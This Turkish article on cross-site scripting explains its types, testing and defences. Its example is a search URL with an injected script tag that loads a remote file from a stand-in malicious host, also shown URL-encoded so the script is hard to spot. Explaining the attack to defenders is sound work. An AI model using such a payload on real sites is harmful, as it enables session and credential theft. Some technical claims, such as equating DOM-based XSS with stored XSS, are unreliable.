Cross-site Scripting (XSS) nedir?

Cross-site Scripting, internet uygulamalarında bulunan bir zaaftır, kötü amaç güden kişiler internet sitesini kullanan ziyaretçilerin bilgisayarında kendi scriptlerini çalıştıra bilmelerine denir. 2007 yılında siber güvenlik firması symantec tarafından hazırlanan raporun %84’ü XSS saldırılarını kapsamaktaydı. O günlerden günümüze XSS zaafı için korunma yöntemleri geliştirildi ama hala XSS bir güvenlik açığı olarak tehdit oluşturmaktadır.

Günümüzdeki internet sitelerinin pek çoğu siteyi kullanan ziyaretçiler ile interaktif bir iletişim halinde. Yazılan yazılar için yorum, alınan ürün için görüş, kullanıcı oluşturma için kişisel bilgileri ziyaretçilerin giriş yapması beklenmektedir. Ziyaretçiden beklenen bu isteklerde XSS zafiyeti meydana gelebilir. Ziyaretçi kötü niyetli bir kişi olduğu zaman kendi scriptini siteye yerleştirebilir (inject).

Cross-site Scripting (XSS) Tipleri Nelerdir?

Kaynağı belli olmadan sunucuya gelen tüm veriler yazılımcı tarafından bir XSS tehdidi olarak ele alınmalıdır. Gerek ziyaretçi gerek web service gibi hizmetler XSS tehdidi olarak ele alınmalıdır. Cross-site Scripting için sınıflandırılmış belli tipler yoktur ancak iki temel dalı vardır. Geleneksel olan sunucu tabanlı -reflected- ve DOM -stored- yani ziyaretçi tabanlı dalları mevcuttur.

Non-persistent Reflected (Yansıtma)

En çok tercih edilen Cross-site scripting (XSS) tekniğidir. Kötü amaç güden kişiler XSS güvenlik açığı olan internet sitelerine malicius kod parçalarını yerleştirirler ve ziyaretçilerin bu sayfalara girmelerini beklerler. Bu bir phishing (oltalama) saldırısına benzemektedir. Ziyaretçilerin bu sayfaları ziyaret etmeleri için mail ya da arama motorları üzerinden ulaşmalarını sağlamak için çalışma yaparlar. Ziyaretçi gönderilen mail’in içerisindeki masum görünümlü url içeren linke tıkladığı zaman kendi tarayıcısında kötü amaç güden kod parçacığını da çalıştırmış olur. Bununla kötü amaç güden kişiler kullanıcının hassas bilgilerine erişim ya da yetkili olduğu bir sistemin kullanıcı bilgilerini bu kişilere teslim etmiş olabilir.

Persistent Stored (Saklı)

Persistent tekniği non-persistent saldırısına göre daha zararlıdır. Bu teknikte kötü amaç güden yazılım internet sitesi içerisine yerleştirilir ve herhangi bir ziyaretçi sayfayı ziyaret ettiğinde tarayıcısında bu yazılımı çalıştırmış olur. Buda yansıtma tekniğinden farklı olarak sayfanın yönlendirdiği değil, sayfayı ziyaret edenlerin bu yazılımı tarayıcısında çalıştırmasını ifade eder bir başka ifade ile çok daha fazla kullanıcı saldırıya maruz kalabilir. Kullanıcıdan girdi istenen sayfalarda bu zafiyete rastlanma olasılığı yüksektir. Örnek olarak; ziyaretçi defterleri, iletişim formları, mesajlar ve yorumlar gibi sıralayabiliriz.

XSS Örneği

Cross-site scripting (XSS) zaafı olan bir internet sitesi düşünelim. Kötü niyetli kişi zaafı olan url içerisine

http://example.org/search?q=test<script%20src="http://kotuniyetli.com/yetkibilgi.js"></script>

şeklinde bir script yerleştirebilir. Bu script kötü niyetli bir yazılımın arka tarafta kullanıcının fark etmeyeceği şekilde çalışmasını ifade eder ancak bu yazım şekli bazı özel karakteri kapsamakta bu hali hem görsel olarak kötü niyeti belirtmekte hem de karakterleri tarayıcının anlayacağı şekilde değiştirilmesi gerekir.

http://example.org/search?q=test%3Cscript%2520src%3D%22http%3A%2F%2Fkotuniyetli.com%2Fyetkibilgi.js%22%3E%3C%2Fscript%3E

Şeklinde yazıldığında bu link tarayıcı tarafından geçerli sayılır ve linke ilk bakıldığında kötü niyetli script anlaşılmaz. Link siteyi kullanan yetkili bir kullanıcı tarafından çalıştırıldığında, yetkili kullanıcı bilgileri kötü niyetli kişiler tarafından ele geçirilmiş olur.

XSS ile Neler Yapılabilir?

Cross-site scripting (XSS) injecting metodudur. Bu site içeriği dışından kötü niyetli yazılımın eklenebilmesi anlamına gelir, eklenen yazılım javascript kodunu ifade eder. Javascript ziyaretçi tarayıcısı üzerinde çalışır yani eklenen içerik ziyaretçi tarafından onun rızası olmadan çalıştırılır. Javascript yazılımları tarayıcı üzerinde çalışan script bazlı bir dildir. Script bazlı olması ziyaretçi bilgisayarı üzerinde çeşitli hassas bilgilere erişim imkanına ya da klasörlere dahi ulaşabilen gelişmiş bir yazılım dildir.

Cross-site scripting (XSS) ile en çok tercih edilen cookie çalma, session bilgilerini kopyalama, farklı bir sayfaya yönlendirme gibi yöntemler ziyaretçi için tehdit oluşturmaktadır.

XXS Test Teknikleri

Reflected (Yansıtma) Cross Site Scripting (XSS) Test Yöntemi

Input girilebilen tüm internet sayfaları belirlenir hem post hem de get input tipleri için geçerlidir. Olası güvenlik açıklarını tespit etmek için her bir input vektörü analiz edilir. XSS zafiyetini tespit etmek için test kullanıcısı HTML’e özgü olan özel karakterlerin hepsini kontrol eder. Test kullanıcısı sonucu analiz eder ve web uygulamasının güvenliği üzerinde gerçekçi etkisi olan bir güvenlik açığını temsil edip etmediğine karar verir. Test kullanıcısı, uygun şekilde kodlanmamış, değiştirilmemiş veya filtrelenmemiş özel karakterleri tanımlar.

Stored (Saklı) Cross Site Scripting (XSS) Test Yöntemi

Stored Cross Site Scripting (XSS)’in daha tehlikeli bir zaaf olduğundan bahsetmiştik çünkü bu zaafın anlamı internet sitenize kötü niyetli yazılımın kötü niyetli bir ziyaretçi tarafından eklendiği anlamına gelir.

Stored Cross Site Scripting (XSS) testi için internet sayfası üzerinde ziyaretçi tarafından giriş yapılan tüm sayfalar ve yapılan girişlerin gösterildiği tüm sayfalar tespit edilir. Yetkili kullanıcı tarafından görüntülenen sayfalarda ziyaretçinin yaptığı girişler varsa bu sayfaların testi özellikle önemlidir.

Test uygulayıcısı proje üzerinde ziyaretçi tarafından dosya yükleme izni varsa mutlaka test etmelidir. Özellikle HTML, TXT dosyaları XSS zaafının olacağı anlamına gelebilir. Belirli dosya tiplerine izin verilmesi dosya yükleme işleminde XSS zaafını önlemede yardımcı olur.

Önleyici Tedbirler

Geliştirici kaynağı belli olmayan veriyi internet sayfasının herhangi bir yerine yerleştirirken, kötü amaç ya da herhangi bir amaç güden bir yazılımın ziyaretçilerin tarayıcılarında çalıştırılmadığından emin olmalıdır. XSS’den kaçınmak için göz ardı edilmemesi gereken önlemler vardır. Bu önlemleri genel hatları ile sıralamaya çalıştık.

Encode ve Escape Data

XSS saldırıları için alınabilecek ilk önlem encode işlemi sırasında alınabilecek önlemlerdir. Encode işlemi ile dış kaynaklı veri internet sayfası üzerinde gösterime uygun hale getirilmesine denir. Javascipt escaping, CSS escaping, HTML encode ve URL encode işlemi birbirlerinden bağımsız çalışmalardır. Her bir madde için ayrı ayrı encode ve escaping data çalışmaları yapılmalıdır.

Encode ve Escape Data için XSS önleyici hazır kütüphaneler kullanmak yazılımcının işini kolaylaştırabilir. ASP.net için Microsoft tarafından geliştirilmiş olan Microsoft Anti-Cross Site Scripting kütüphanesini, JAVA için OWASP tarafından geliştirilen kütüphaneyi kullanabilirsiniz.

HTML Girdilerinin Kontrol Edilmesi (Validation)

Bir diğer önleyici metot ise güvenilmeyen kaynaktan gelen verinin kontrol (validation) edilmesidir. Bunun için siyah liste (blacklist) ve beyaz liste (whitelist) metotları kullanılır.

Siyah liste (blacklist) metodunda HTML için tehlikeli olabilecek etiketlerin hepsi listelenir ve bu liste içerisindeki hiçbir etikete izin verilmez.

Beyaz listede ise izin verilecek olan etiketler listelenir. İzin verilen dışındaki tüm etiketler engellenir.

Forum ve webmail servisleri kullanıcıların belli HTML etiketlerinin kullanmasına izin verir. İzin verilen dışındaki HTML etiketleri XSS açığına sebep olabilir. Siyah liste (blacklist) ve beyaz liste (whitelist) metotlarından biri benimsenerek geliştirme yapılır.

Cookie Güvenliği

Veri kontrolü dışındaki etkili bir diğer yöntem ise Cookie güvenliğidir. XSS zafiyeti olduğunda kötü amaç güden kişiler ilk cookie hırsılığına başvururlar, internet sitesinin yetkili kullanıcıları ise ilk hedeftir. Cookie Güvenliği ise kullanıcı ve IP adresinin birbirine bağlanması ile olur yani uygulama tarafında iki parametre ile yetkili sayfalarına erişmek mümkün olur bu parametreler Cookie ve IP adresidir. Kötü amaç güden kişi Cookie hırsızlığını yapmış olsa bile IP adresi farklı olacağı için ameline ulaşamaz.

Script Engelleme

Bazı internet sayfaları kullanıcının XSS’den dolayı sıkıntı yaşamaması için Javascript’i tarayıcı üzerinden kapatmasını isteyebilir. Bunun için ziyaretçinin tarayıcı ayarları üzerinden scripti engellemesi istenir.

Bu koruma yöntemindeki sıkıntı tarayıcı üzerindeki işlemin ziyaretçi tarafından yapılmasıdır. Ziyaretçi script engelleme için tarayıcı üzerindeki ayarlardan işlemi tamamlaması beklenir, bunu ziyaretçilerin yapması zor olacağından XSS için tavsiye edilen bir korunma yöntemi değildir. Bazı iş yazılımlarında kullanıcıları bu işlem için zorlayabilirsiniz.

Sonuç

İnternet dünyası olduğu sürece XSS bir tehdit olarak kalmaya devam edecektir ancak alınacak önlemler, kaliteli yazılım ve yazılımın güncel tutulması ile tehditler en aza indirilir.

İnternet site sahibi olmak bir nevi kendi markanın sahibi olmak gibidir bundan dolayı kötü niyetli kişilerin işlerini kolaylaştırmamak için alınması gereken önlemleri ve gerekli yatırımların yapılması hem ziyaretçiler hem de site sahibi için önem arz eder.


Kaynak: